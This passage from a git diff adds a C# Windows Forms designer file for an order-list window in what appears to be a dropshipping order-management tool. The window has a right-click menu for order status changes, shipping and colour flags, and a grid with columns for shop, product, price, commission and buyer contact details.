this.搜索SToolStripMenuItem.Name = "搜索SToolStripMenuItem"; + this.搜索SToolStripMenuItem.Size = new System.Drawing.Size(125, 22); + this.搜索SToolStripMenuItem.Text = "搜索(&S)"; + // + // toolStripSeparator5 + // + this.toolStripSeparator5.Name = "toolStripSeparator5"; + this.toolStripSeparator5.Size = new System.Drawing.Size(122, 6); + // + // 关于AToolStripMenuItem + // + this.关于AToolStripMenuItem.Name = "关于AToolStripMenuItem"; + this.关于AToolStripMenuItem.Size = new System.Drawing.Size(125, 22); + this.关于AToolStripMenuItem.Text = "关于(&A)..."; + // + // contextMenuStrip1 + // + this.contextMenuStrip1.BackColor = System.Drawing.Color.White; + this.contextMenuStrip1.Items.AddRange(new System.Windows.Forms.ToolStripItem[] { + this.编辑ToolStripMenuItem, + this.待发货ToolStripMenuItem, + this.发货ToolStripMenuItem, + this.更新订单ToolStripMenuItem, + this.更新姓名ToolStripMenuItem, + this.更新电话ToolStripMenuItem, + this.更新收件地址ToolStripMenuItem, + this.删除订单ToolStripMenuItem, + this.插旗标记ToolStripMenuItem, + this.批量设置一次性总店ToolStripMenuItem}); + this.contextMenuStrip1.Name = "contextMenuStrip1"; + this.contextMenuStrip1.Size = new System.Drawing.Size(185, 224); + // + // 编辑ToolStripMenuItem + // + this.编辑ToolStripMenuItem.Name = "编辑ToolStripMenuItem"; + this.编辑ToolStripMenuItem.Size = new System.Drawing.Size(184, 22); + this.编辑ToolStripMenuItem.Text = "编辑"; + this.编辑ToolStripMenuItem.Click += new System.EventHandler(this.MenuItem_Click); + // + // 待发货ToolStripMenuItem + // + this.待发货ToolStripMenuItem.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] { + this.等待上家发货ToolStripMenuItem, + this.发货成功ToolStripMenuItem, + this.发货完成ToolStripMenuItem}); + this.待发货ToolStripMenuItem.Name = "待发货ToolStripMenuItem"; + this.待发货ToolStripMenuItem.Size = new System.Drawing.Size(184, 22); + this.待发货ToolStripMenuItem.Text = "修改状态"; + // + // 等待上家发货ToolStripMenuItem + // + this.等待上家发货ToolStripMenuItem.Name = "等待上家发货ToolStripMenuItem"; + this.等待上家发货ToolStripMenuItem.Size = new System.Drawing.Size(148, 22); + this.等待上家发货ToolStripMenuItem.Text = "等待上家发货"; + this.等待上家发货ToolStripMenuItem.Click += new System.EventHandler(this.MenuItem_Click); + // + // 发货成功ToolStripMenuItem + // + this.发货成功ToolStripMenuItem.Name = "发货成功ToolStripMenuItem"; + this.发货成功ToolStripMenuItem.Size = new System.Drawing.Size(148, 22); + this.发货成功ToolStripMenuItem.Text = "上家已发货"; + this.发货成功ToolStripMenuItem.Click += new System.EventHandler(this.MenuItem_Click); + // + // 发货完成ToolStripMenuItem + // + this.发货完成ToolStripMenuItem.Name = "发货完成ToolStripMenuItem"; + this.发货完成ToolStripMenuItem.Size = new System.Drawing.Size(148, 22); + this.发货完成ToolStripMenuItem.Text = "发货完成"; + this.发货完成ToolStripMenuItem.Click += new System.EventHandler(this.MenuItem_Click); + // + // 发货ToolStripMenuItem + // + this.发货ToolStripMenuItem.Name = "发货ToolStripMenuItem"; + this.发货ToolStripMenuItem.Size = new System.Drawing.Size(184, 22); + this.发货ToolStripMenuItem.Text = "发货(直接发货)"; + this.发货ToolStripMenuItem.Click += new System.EventHandler(this.MenuItem_Click); + // + // 更新订单ToolStripMenuItem + // + this.更新订单ToolStripMenuItem.Name = "更新订单ToolStripMenuItem"; + this.更新订单ToolStripMenuItem.Size = new System.Drawing.Size(184, 22); + this.更新订单ToolStripMenuItem.Text = "更新订单"; + this.更新订单ToolStripMenuItem.Click += new System.EventHandler(this.MenuItem_Click); + // + // 更新姓名ToolStripMenuItem + // + this.更新姓名ToolStripMenuItem.Name = "更新姓名ToolStripMenuItem"; + this.更新姓名ToolStripMenuItem.Size = new System.Drawing.Size(184, 22); + this.更新姓名ToolStripMenuItem.Text = "更新姓名"; + this.更新姓名ToolStripMenuItem.Visible = false; + this.更新姓名ToolStripMenuItem.Click += new System.EventHandler(this.MenuItem_Click); + // + // 更新电话ToolStripMenuItem + // + this.更新电话ToolStripMenuItem.Name = "更新电话ToolStripMenuItem"; + this.更新电话ToolStripMenuItem.Size = new System.Drawing.Size(184, 22); + this.更新电话ToolStripMenuItem.Text = "更新电话"; + this.更新电话ToolStripMenuItem.Visible = false; + this.更新电话ToolStripMenuItem.Click += new System.EventHandler(this.MenuItem_Click); + // + // 更新收件地址ToolStripMenuItem + // + this.更新收件地址ToolStripMenuItem.Name = "更新收件地址ToolStripMenuItem"; + this.更新收件地址ToolStripMenuItem.Size = new System.Drawing.Size(184, 22); + this.更新收件地址ToolStripMenuItem.Text = "更新收件地址"; + this.更新收件地址ToolStripMenuItem.Visible = false; + this.更新收件地址ToolStripMenuItem.Click += new System.EventHandler(this.MenuItem_Click); + // + // 删除订单ToolStripMenuItem + // + this.删除订单ToolStripMenuItem.Name = "删除订单ToolStripMenuItem"; + this.删除订单ToolStripMenuItem.Size = new System.Drawing.Size(184, 22); + this.删除订单ToolStripMenuItem.Text = "删除订单"; + this.删除订单ToolStripMenuItem.Visible = false; + this.删除订单ToolStripMenuItem.Click += new System.EventHandler(this.MenuItem_Click); + // + // 插旗标记ToolStripMenuItem + // + this.插旗标记ToolStripMenuItem.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] { + this.灰色ToolStripMenuItem, + this.紫色ToolStripMenuItem, + this.蓝色ToolStripMenuItem, + this.绿色ToolStripMenuItem, + this.橙色ToolStripMenuItem, + this.红色ToolStripMenuItem}); + this.插旗标记ToolStripMenuItem.Name = "插旗标记ToolStripMenuItem"; + this.插旗标记ToolStripMenuItem.Size = new System.Drawing.Size(184, 22); + this.插旗标记ToolStripMenuItem.Text = "插旗标记"; + // + // 灰色ToolStripMenuItem + // + this.灰色ToolStripMenuItem.BackColor = System.Drawing.SystemColors.Control; + this.灰色ToolStripMenuItem.Name = "灰色ToolStripMenuItem"; + this.灰色ToolStripMenuItem.Size = new System.Drawing.Size(100, 22); + this.灰色ToolStripMenuItem.Text = "灰色"; + this.灰色ToolStripMenuItem.Click += new System.EventHandler(this.colore_clicke); + // + // 紫色ToolStripMenuItem + // + this.紫色ToolStripMenuItem.BackColor = System.Drawing.SystemColors.Control; + this.紫色ToolStripMenuItem.Name = "紫色ToolStripMenuItem"; + this.紫色ToolStripMenuItem.Size = new System.Drawing.Size(100, 22); + this.紫色ToolStripMenuItem.Text = "紫色"; + this.紫色ToolStripMenuItem.Click += new System.EventHandler(this.colore_clicke); + // + // 蓝色ToolStripMenuItem + // + this.蓝色ToolStripMenuItem.BackColor = System.Drawing.SystemColors.Control; + this.蓝色ToolStripMenuItem.Name = "蓝色ToolStripMenuItem"; + this.蓝色ToolStripMenuItem.Size = new System.Drawing.Size(100, 22); + this.蓝色ToolStripMenuItem.Text = "蓝色"; + this.蓝色ToolStripMenuItem.Click += new System.EventHandler(this.colore_clicke); + // + // 绿色ToolStripMenuItem + // + this.绿色ToolStripMenuItem.BackColor = System.Drawing.SystemColors.Control; + this.绿色ToolStripMenuItem.Name = "绿色ToolStripMenuItem"; + this.绿色ToolStripMenuItem.Size = new System.Drawing.Size(100, 22); + this.绿色ToolStripMenuItem.Text = "绿色"; + this.绿色ToolStripMenuItem.Click += new System.EventHandler(this.colore_clicke); + // + // 橙色ToolStripMenuItem + // + this.橙色ToolStripMenuItem.BackColor = System.Drawing.SystemColors.Control; + this.橙色ToolStripMenuItem.Name = "橙色ToolStripMenuItem"; + this.橙色ToolStripMenuItem.Size = new System.Drawing.Size(100, 22); + this.橙色ToolStripMenuItem.Text = "橙色"; + this.橙色ToolStripMenuItem.Click += new System.EventHandler(this.colore_clicke); + // + // 红色ToolStripMenuItem + // + this.红色ToolStripMenuItem.BackColor = System.Drawing.SystemColors.Control; + this.红色ToolStripMenuItem.Name = "红色ToolStripMenuItem"; + this.红色ToolStripMenuItem.Size = new System.Drawing.Size(100, 22); + this.红色ToolStripMenuItem.Text = "红色"; + this.红色ToolStripMenuItem.Click += new System.EventHandler(this.colore_clicke); + // + // 批量设置一次性总店ToolStripMenuItem + // + this.批量设置一次性总店ToolStripMenuItem.Name = "批量设置一次性总店ToolStripMenuItem"; + this.批量设置一次性总店ToolStripMenuItem.Size = new System.Drawing.Size(184, 22); + this.批量设置一次性总店ToolStripMenuItem.Text = "批量设置一次性总店"; + this.批量设置一次性总店ToolStripMenuItem.Click += new System.EventHandler(this.批量设置一次性总店ToolStripMenuItem_Click); + // + // splitContainer1 + // + this.splitContainer1.Dock = System.Windows.Forms.DockStyle.Fill; + this.splitContainer1.FixedPanel = System.Windows.Forms.FixedPanel.Panel2; + this.splitContainer1.Location = new System.Drawing.Point(0, 0); + this.splitContainer1.Name = "splitContainer1"; + this.splitContainer1.Orientation = System.Windows.Forms.Orientation.Horizontal; + // + // splitContainer1.Panel1 + // + this.splitContainer1.Panel1.Controls.Add(this.DgvOrderList); + // + // splitContainer1.Panel2 + // + this.splitContainer1.Panel2.Controls.Add(this.pnlMessage); + this.splitContainer1.Panel2.Controls.Add(this.ucPager1); + this.splitContainer1.Panel2.Padding = new System.Windows.Forms.Padding(0, 0, 0, 1); + this.splitContainer1.Size = new System.Drawing.Size(831, 450); + this.splitContainer1.SplitterDistance = 424; + this.splitContainer1.SplitterWidth = 1; + this.splitContainer1.TabIndex = 2; + // + // DgvOrderList + // + this.DgvOrderList.AllowUserToAddRows = false; + this.DgvOrderList.AllowUserToDeleteRows = false; + dataGridViewCellStyle1.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(244)))), ((int)(((byte)(244)))), ((int)(((byte)(244))))); + this.DgvOrderList.AlternatingRowsDefaultCellStyle = dataGridViewCellStyle1; + this.DgvOrderList.BackgroundColor = System.Drawing.Color.White; + this.DgvOrderList.BorderStyle = System.Windows.Forms.BorderStyle.None; + dataGridViewCellStyle2.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleLeft; + dataGridViewCellStyle2.BackColor = System.Drawing.Color.White; + dataGridViewCellStyle2.Font = new System.Drawing.Font("宋体", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + dataGridViewCellStyle2.ForeColor = System.Drawing.SystemColors.WindowText; + dataGridViewCellStyle2.SelectionBackColor = System.Drawing.Color.White; + dataGridViewCellStyle2.SelectionForeColor = System.Drawing.SystemColors.ControlText; + dataGridViewCellStyle2.WrapMode = System.Windows.Forms.DataGridViewTriState.False; + this.DgvOrderList.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle2; + this.DgvOrderList.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.AutoSize; + this.DgvOrderList.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { + this.col_shop_id, + this.col_shop_name, + this.col_title, + this.col_up_product_id, + this.col_product_id, + this.col_c_biz_desc, + this.col_sku, + this.productImgSku, + this.col_price, + this.col_buy_price, + this.commission_scale, + this.commission, + this.col_count, + this.col_order_id, + this.col_name, + this.col_mobile, + this.col_address, + this.col_create_time, + this.col_order_promise_time, + this.col_order_send_remaining_time, + this.col_order_start_buy, + this.col_phone_buy, + this.col_remark, + this.col_buyer_words}); + this.DgvOrderList.ContextMenuStrip = this.contextMenuStrip1; + this.DgvOrderList.CustomSortColumns.AddRange(new object[] { + "col_shop_id", + "col_shop_name", + "col_name", + "col_mobile", + "col_order_id", + "col_product_id", + "col_create_time"}); + dataGridViewCellStyle3.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleLeft; + dataGridViewCellStyle3.BackColor = System.Drawing.Color.White; + dataGridViewCellStyle3.Font = new System.Drawing.Font("宋体", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + dataGridViewCellStyle3.ForeColor = System.Drawing.SystemColors.ControlText; + dataGridViewCellStyle3.SelectionBackColor = System.Drawing.Color.White; + dataGridViewCellStyle3.SelectionForeColor = System.Drawing.SystemColors.ControlText; + dataGridViewCellStyle3.WrapMode = System.Windows.Forms.DataGridViewTriState.False; + this.DgvOrderList.DefaultCellStyle = dataGridViewCellStyle3; + this.DgvOrderList.Dock = System.Windows.Forms.DockStyle.Fill; + this.DgvOrderList.GridColor = System.Drawing.Color.FromArgb(((int)(((byte)(208)))), ((int)(((byte)(215)))), ((int)(((byte)(229))))); + this.DgvOrderList.IsCustomSort = true; + this.DgvOrderList.Location = new System.Drawing.Point(0, 0); + this.DgvOrderList.Name = "DgvOrderList"; + this.DgvOrderList.ReadOnly = true; + dataGridViewCellStyle4.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleLeft; + dataGridViewCellStyle4.BackColor = System.Drawing.Color.White; + dataGridViewCellStyle4.Font = new System.Drawing.Font("宋体", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + dataGridViewCellStyle4.ForeColor = System.Drawing.SystemColors.WindowText; + dataGridViewCellStyle4.SelectionBackColor = System.Drawing.Color.White; + dataGridViewCellStyle4.SelectionForeColor = System.Drawing.Color.Black; + dataGridViewCellStyle4.WrapMode = System.Windows.Forms.DataGridViewTriState.True; + this.DgvOrderList.RowHeadersDefaultCellStyle = dataGridViewCellStyle4; + this.DgvOrderList.RowTemplate.Height = 23; + this.DgvOrderList.ShowCellToolTips = false; + this.DgvOrderList.Size = new System.Drawing.Size(831, 424); + this.DgvOrderList.TabIndex = 0; + this.DgvOrderList.CustomSorted += new _29WxOrder.MyControl.MyDataGridView.CustomSortEvent(this.OrderListDgv_CustomSorted); + this.DgvOrderList.CellContentClick += new System.Windows.Forms.DataGridViewCellEventHandler(this.orderListDgv_CellContentClick); + this.DgvOrderList.CellMouseDown += new System.Windows.Forms.DataGridViewCellMouseEventHandler(this.orderListDgv_CellMouseDown); + this.DgvOrderList.CellMouseEnter += new System.Windows.Forms.DataGridViewCellEventHandler(this.orderListDgv_CellMouseEnter); + // + // pnlMessage + // + this.pnlMessage.AutoSize = true; + this.pnlMessage.CanvasColor = System.Drawing.SystemColors.Control; + this.pnlMessage.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.pnlMessage.Cursor = System.Windows.Forms.Cursors.Hand; + this.pnlMessage.DisabledBackColor = System.Drawing.Color.Empty; + this.pnlMessage.Dock = System.Windows.Forms.DockStyle.Right; + this.pnlMessage.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.pnlMessage.Location = new System.Drawing.Point(775, 0); + this.pnlMessage.Name = "pnlMessage"; + this.pnlMessage.Size = new System.Drawing.Size(56, 24); + this.pnlMessage.Style.Alignment = System.Drawing.StringAlignment.Center; + this.pnlMessage.Style.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(192)))), ((int)(((byte)(0)))), ((int)(((byte)(0))))); + this.pnlMessage.Style.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(192)))), ((int)(((byte)(0)))), ((int)(((byte)(0))))); + this.pnlMessage.Style.BorderColor.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelBorder; + this.pnlMessage.Style.CornerDiameter = 5; + this.pnlMessage.Style.CornerType = DevComponents.DotNetBar.eCornerType.Rounded; + this.pnlMessage.Style.ForeColor.Color = System.Drawing.Color.White; + this.pnlMessage.Style.GradientAngle = 90; + this.pnlMessage.TabIndex = 10; + this.pnlMessage.Text = "有新订单"; + this.pnlMessage.Visible = false; + this.pnlMessage.Click += new System.EventHandler(this.pnlMessage_Click); + // + // ucPager1 + // + this.ucPager1.CurrentPage = 1; + this.ucPager1.Dock = System.Windows.Forms.DockStyle.Fill; + this.ucPager1.Location = new System.Drawing.Point(0, 0); + this.ucPager1.Name = "ucPager1"; + this.ucPager1.Size = new System.Drawing.Size(831, 24); + this.ucPager1.TabIndex = 1; + this.ucPager1.TotalCount = -1; + this.ucPager1.TotalPage = 1; + this.ucPager1.PageTurned += new _29WxOrder.MyControl.UcPager.PageTurnEvent(this.UcPager1_PageTurned); + // + // pnlUpdateOrderInfo + // + this.pnlUpdateOrderInfo.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.pnlUpdateOrderInfo.CanvasColor = System.Drawing.SystemColors.Control; + this.pnlUpdateOrderInfo.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.pnlUpdateOrderInfo.DisabledBackColor = System.Drawing.Color.Empty; + this.pnlUpdateOrderInfo.Location = new System.Drawing.Point(361, 162); + this.pnlUpdateOrderInfo.MaximumSize = new System.Drawing.Size(300, 140); + this.pnlUpdateOrderInfo.Name = "pnlUpdateOrderInfo"; + this.pnlUpdateOrderInfo.Size = new System.Drawing.Size(110, 100); + this.pnlUpdateOrderInfo.Style.Alignment = System.Drawing.StringAlignment.Center; + this.pnlUpdateOrderInfo.Style.BackColor1.Alpha = ((byte)(128)); + this.pnlUpdateOrderInfo.Style.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(0)))), ((int)(((byte)(160)))), ((int)(((byte)(233))))); + this.pnlUpdateOrderInfo.Style.BackColor2.Alpha = ((byte)(128)); + this.pnlUpdateOrderInfo.Style.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(0)))), ((int)(((byte)(160)))), ((int)(((byte)(233))))); + this.pnlUpdateOrderInfo.Style.BorderColor.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelBorder; + this.pnlUpdateOrderInfo.Style.CornerType = DevComponents.DotNetBar.eCornerType.Rounded; + this.pnlUpdateOrderInfo.Style.ForeColor.Color = System.Drawing.Color.White; + this.pnlUpdateOrderInfo.Style.GradientAngle = 90; + this.pnlUpdateOrderInfo.TabIndex = 6; + this.pnlUpdateOrderInfo.Text = "正在更新订单"; + this.pnlUpdateOrderInfo.Visible = false; + // + // col_shop_id + // + this.col_shop_id.HeaderText = "店铺编号"; + this.col_shop_id.Name = "col_shop_id"; + this.col_shop_id.ReadOnly = true; + this.col_shop_id.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.NotSortable; + this.col_shop_id.Width = 80; + // + // col_shop_name + // + this.col_shop_name.HeaderText = "店铺名称"; + this.col_shop_name.Name = "col_shop_name"; + this.col_shop_name.ReadOnly = true; + this.col_shop_name.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.NotSortable; + // + // col_title + // + this.col_title.HeaderText = "商品名称"; + this.col_title.Name = "col_title"; + this.col_title.ReadOnly = true; + this.col_title.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.NotSortable; + // + // col_up_product_id + // + this.col_up_product_id.HeaderText = "上家ID"; + this.col_up_product_id.Name = "col_up_product_id"; + this.col_up_product_id.ReadOnly = true; + this.col_up_product_id.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.NotSortable; + // + // col_product_id + // + this.col_product_id.HeaderText = "本店ID"; + this.col_product_id.Name = "col_product_id"; + this.col_product_id.ReadOnly = true; + this.col_product_id.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.NotSortable; + this.col_product_id.Width = 120; + // + // col_c_biz_desc + // + this.col_c_biz_desc.HeaderText = "商品描述"; + this.col_c_biz_desc.Name = "col_c_biz_desc"; + this.col_c_biz_desc.ReadOnly = true; + this.col_c_biz_desc.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.NotSortable; + this.col_c_biz_desc.Width = 80; + // + // col_sku + // + this.col_sku.HeaderText = "规格"; + this.col_sku.Name = "col_sku"; + this.col_sku.ReadOnly = true; + this.col_sku.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.NotSortable; + // + // productImgSku + // + this.productImgSku.HeaderText = "图片"; + this.productImgSku.Name = "productImgSku"; + this.productImgSku.ReadOnly = true; + this.productImgSku.Width = 80; + // + // col_price + // + this.col_price.HeaderText = "售价"; + this.col_price.Name = "col_price"; + this.col_price.ReadOnly = true; + this.col_price.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.NotSortable; + this.col_price.Width = 60; + // + // col_buy_price + // + this.col_buy_price.HeaderText = "进价"; + this.col_buy_price.Name = "col_buy_price"; + this.col_buy_price.ReadOnly = true; + this.col_buy_price.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.NotSortable; + this.col_buy_price.Width = 60; + // + // commission_scale + // + this.commission_scale.HeaderText = "佣金率"; + this.commission_scale.Name = "commission_scale"; + this.commission_scale.ReadOnly = true; + this.commission_scale.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.NotSortable; + this.commission_scale.Width = 60; + // + // commission + // + this.commission.HeaderText = "佣金"; + this.commission.Name = "commission"; + this.commission.ReadOnly = true; + this.commission.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.NotSortable; + this.commission.Width = 60; + // + // col_count + // + this.col_count.HeaderText = "数量"; + this.col_count.Name = "col_count"; + this.col_count.ReadOnly = true; + this.col_count.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.NotSortable; + this.col_count.Width = 40; + // + // col_order_id + // + this.col_order_id.HeaderText = "订单号"; + this.col_order_id.Name = "col_order_id"; + this.col_order_id.ReadOnly = true; + this.col_order_id.Resizable = System.Windows.Forms.DataGridViewTriState.True; + this.col_order_id.Width = 130; + // + // col_name + // + this.col_name.HeaderText = "姓名"; + this.col_name.Name = "col_name"; + this.col_name.ReadOnly = true; + this.col_name.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.NotSortable; + // + // col_mobile + // + this.col_mobile.HeaderText = "电话"; + this.col_mobile.Name = "col_mobile"; + this.col_mobile.ReadOnly = true; + this.col_mobile.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.NotSortable; + // + // col_address + // + this.col_address.HeaderText = "地址"; + this.col_address.Name = "col_address"; + this.col_address.ReadOnly = true; + this.col_address.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.NotSortable; + // + // col_create_time + // + this.col_create_time.HeaderText = "订单确认时间"; + this.col_create_time.Name = "col_create_time"; + this.col_create_time.ReadOnly = true; + this.col_create_time.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.NotSortable; + this.col_create_time.Width = 120; + // + // col_order_promise_time + // + this.col_order_promise_time.HeaderText = "延迟发货时间"; + this.col_order_promise_time.Name = "col_order_promise_time"; + this.col_order_promise_time.ReadOnly = true; + this.col_order_promise_time.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.NotSortable; + this.col_order_promise_time.Width = 120; + // + // col_order_send_remaining_time + // + this.col_order_send_remaining_time.HeaderText = "延迟剩余"; + this.col_order_send_remaining_time.Name = "col_order_send_remaining_time"; + this.col_order_send_remaining_time.ReadOnly = true; + this.col_order_send_remaining_time.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.NotSortable; + // + // col_order_start_buy + // + this.col_order_start_buy.HeaderText = "开始拍单"; + this.col_order_start_buy.Name = "col_order_start_buy"; + this.col_order_start_buy.ReadOnly = true; + this.col_order_start_buy.Width = 80; + // + // col_phone_buy + // + this.col_phone_buy.HeaderText = "手机拍单"; + this.col_phone_buy.Name = "col_phone_buy"; + this.col_phone_buy.ReadOnly = true; + // + // col_remark + // + this.col_remark.HeaderText = "后台备注"; + this.col_remark.Name = "col_remark"; + this.col_remark.ReadOnly = true; + this.col_remark.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.NotSortable; + // + // col_buyer_words + // + this.col_buyer_words.HeaderText = "买家留言"; + this.col_buyer_words.Name = "col_buyer_words"; + this.col_buyer_words.ReadOnly = true; + this.col_buyer_words.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.NotSortable; + // + // BuyOrderListForm + // + this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 12F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.ClientSize = new System.Drawing.Size(831, 450); + this.Controls.Add(this.pnlUpdateOrderInfo); + this.Controls.Add(this.splitContainer1); + this.Name = "BuyOrderListForm"; + this.Text = "BuyOrderForm"; + this.Load += new System.EventHandler(this.BuyOrderListForm_Load); + this.contextMenuStrip1.ResumeLayout(false); + this.splitContainer1.Panel1.ResumeLayout(false); + this.splitContainer1.Panel2.ResumeLayout(false); + this.splitContainer1.Panel2.PerformLayout(); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer1)).EndInit(); + this.splitContainer1.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.DgvOrderList)).EndInit(); + this.ResumeLayout(false); + + } + + #endregion + private System.Windows.Forms.ToolStripMenuItem 新建NToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem 打开OToolStripMenuItem; + private System.Windows.Forms.ToolStripSeparator toolStripSeparator; + private System.Windows.Forms.ToolStripMenuItem 保存SToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem 另存为AToolStripMenuItem; + private System.Windows.Forms.ToolStripSeparator toolStripSeparator1; + private System.Windows.Forms.ToolStripMenuItem 打印PToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem 打印预览VToolStripMenuItem; + private System.Windows.Forms.ToolStripSeparator toolStripSeparator2; + private System.Windows.Forms.ToolStripMenuItem 退出XToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem 撤消UToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem 重复RToolStripMenuItem; + private System.Windows.Forms.ToolStripSeparator toolStripSeparator3; + private System.Windows.Forms.ToolStripMenuItem 剪切TToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem 复制CToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem 粘贴PToolStripMenuItem; + private System.Windows.Forms.ToolStripSeparator toolStripSeparator4; + private System.Windows.Forms.ToolStripMenuItem 全选AToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem 自定义CToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem 选项OToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem 内容CToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem 索引IToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem 搜索SToolStripMenuItem; + private System.Windows.Forms.ToolStripSeparator toolStripSeparator5; + private System.Windows.Forms.ToolStripMenuItem 关于AToolStripMenuItem; + private System.Windows.Forms.ContextMenuStrip contextMenuStrip1; + private System.Windows.Forms.ToolStripMenuItem 编辑ToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem 待发货ToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem 等待上家发货ToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem 发货成功ToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem 发货完成ToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem 发货ToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem 更新订单ToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem 删除订单ToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem 插旗标记ToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem 灰色ToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem 紫色ToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem 蓝色ToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem 绿色ToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem 橙色ToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem 红色ToolStripMenuItem; + private MyControl.UcPager ucPager1; + private System.Windows.Forms.SplitContainer splitContainer1; + private DevComponents.DotNetBar.PanelEx pnlMessage; + public MyControl.MyDataGridView DgvOrderList; + private DevComponents.DotNetBar.PanelEx pnlUpdateOrderInfo; + private System.Windows.Forms.ToolStripMenuItem 批量设置一次性总店ToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem 更新姓名ToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem 更新电话ToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem 更新收件地址ToolStripMenuItem; + private System.Windows.Forms.DataGridViewTextBoxColumn col_shop_id; + private System.Windows.Forms.DataGridViewTextBoxColumn col_shop_name; + private System.Windows.Forms.DataGridViewTextBoxColumn col_title; + private System.Windows.Forms.DataGridViewTextBoxColumn col_up_product_id; + private System.Windows.Forms.DataGridViewTextBoxColumn col_product_id; + private System.Windows.Forms.DataGridViewTextBoxColumn col_c_biz_desc; + private System.Windows.Forms.DataGridViewTextBoxColumn col_sku; + private System.Windows.Forms.DataGridViewImageColumn productImgSku; + private System.Windows.Forms.DataGridViewTextBoxColumn col_price; + private System.Windows.Forms.DataGridViewTextBoxColumn col_buy_price; + private System.Windows.Forms.DataGridViewTextBoxColumn commission_scale; + private System.Windows.Forms.DataGridViewTextBoxColumn commission; + private System.Windows.Forms.DataGridViewTextBoxColumn col_count; + private System.Windows.Forms.DataGridViewLinkColumn col_order_id; + private System.Windows.Forms.DataGridViewTextBoxColumn col_name; + private System.Windows.Forms.DataGridViewTextBoxColumn col_mobile; + private System.Windows.Forms.DataGridViewTextBoxColumn col_address; + private System.Windows.Forms.DataGridViewTextBoxColumn col_create_time; + private System.Windows.Forms.DataGridViewTextBoxColumn col_order_promise_time; + private System.Windows.Forms.DataGridViewTextBoxColumn col_order_send_remaining_time; + private System.Windows.Forms.DataGridViewLinkColumn col_order_start_buy; + private System.Windows.Forms.DataGridViewLinkColumn col_phone_buy; + private System.Windows.Forms.DataGridViewTextBoxColumn col_remark; + private System.Windows.Forms.DataGridViewTextBoxColumn col_buyer_words; + } +} \ No newline at end of file diff --git 